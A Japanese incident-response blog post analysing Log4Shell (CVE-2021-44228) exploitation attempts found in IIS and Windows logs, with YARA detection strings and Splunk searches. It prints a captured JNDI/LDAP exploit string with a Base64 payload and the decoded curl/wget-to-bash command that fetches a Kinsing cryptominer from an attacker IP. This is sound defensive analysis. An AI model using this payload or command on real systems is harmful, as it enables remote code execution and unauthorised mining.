
CVE-2021-44228 DFIRノート
帰宅途中に、#log4shell脆弱性に関する最初のメッセージが流れてきました。
Apache Log4j 2ユーティリティの複数のバージョンに影響する高重大度の脆弱性(CVE-2021-44228)が、2021年12月9日にプロジェクトのGitHubを通じて公開されました。この脆弱性は、Alibaba Cloud Security TeamのChen Zhaojun氏によって発見され、Apache Log4j 2のバージョン2.0から2.14.1に影響します。
帰宅後すぐに取り掛かりました。いつものようにSplunk4twです。
最初の概念実証エクスプロイトがGitHubで公開された後、脅威アクターは認証を必要としないこのリモートで悪用可能なセキュリティ欠陥に対して脆弱なシステムをインターネット上でスキャンし始めました。以下に示すのは、それらのスキャンおよびエクスプロイト試行の一部です。
最初に行うことは、誰かが初期のYARAルールを公開していないか確認することです。 ここで見つけました https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b (Florian Rothに感謝)
検出用文字列として次のものが挙げられています。
strings:
$x1 = "${jndi:ldap:/"
$x2 = "${jndi:rmi:/"
$x3 = "${jndi:ldaps:/"
$x4 = "${jndi:dns:/"
怖くないですね...CPUを酷使して、最悪のSplunk検索で一気に片付けましょう。
index=* jndi:ldap* (updated query with index=* "{lower:l}${lower:d}a${lower:p}")
IISログとWindowsイベントログ(編集済み)の両方でヒットがあり、ファイアウォールログにも多くのブロックされた試行がありました....
IIS:

WINEVENTLOG:

IPアドレス45.155.205.233を確認...ロシアのサンクトペテルブルク...驚きです。

見つかった文字列は、教科書的な難読化されたエンコード済み悪意のある文字列のように見えます。 何をするのか見てみましょう:
cyberchefを使ってBase64文字列をデコードしてみます。
2021-12-10 13:26:16 [redacted] GET / - 443 - xxx.xx.xxx.xx ${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8xNDUuMzUuMTk1LjYzOjgwfHx3Z2V0IC1xIC1PLSA0NS4xNTUuMjA1LjIzMzo1ODc0LzE0NS4zNS4xOTUuNjM6ODApfGJhc2g=} http://[redacted]:80/ 200 0 0 171

(curl -s 45.155.xx.233:xxxx/145.xx.195.63:80||wget -q -O- 45.xx.205.233:xxxx/145.xx.xxx.63:80)|bash
Curl...シェルスクリプトを実行、bash...なんてこった。この厄介なものが何をするのか、だんだん見えてきました....
サンドボックス内でcurlコマンドを実行してみましょう:

368行のコード。 (スクリプト全体を見たい場合はこちらで実行 --> https://reqbin.com/c-ipejxywd
いくつかの抜粋:

そして、それが終わるとログファイルも消去します...驚きです:

基本的にはKingsinというマルウェアをインストールしようとします。これは暗号通貨マイナーです。対象はnixシステムです。エクスプロイトはおそらくあらゆる種類のペイロードを実行するために使用されるので、必ずシステムにパッチを当ててください。
同僚のUmbrioのMartijnとRob(編集済み)に感謝します。金曜の夜にWhatsAppでこの件について議論しました。 00:09、寝る時間です。
#更新情報と役立つリソース#
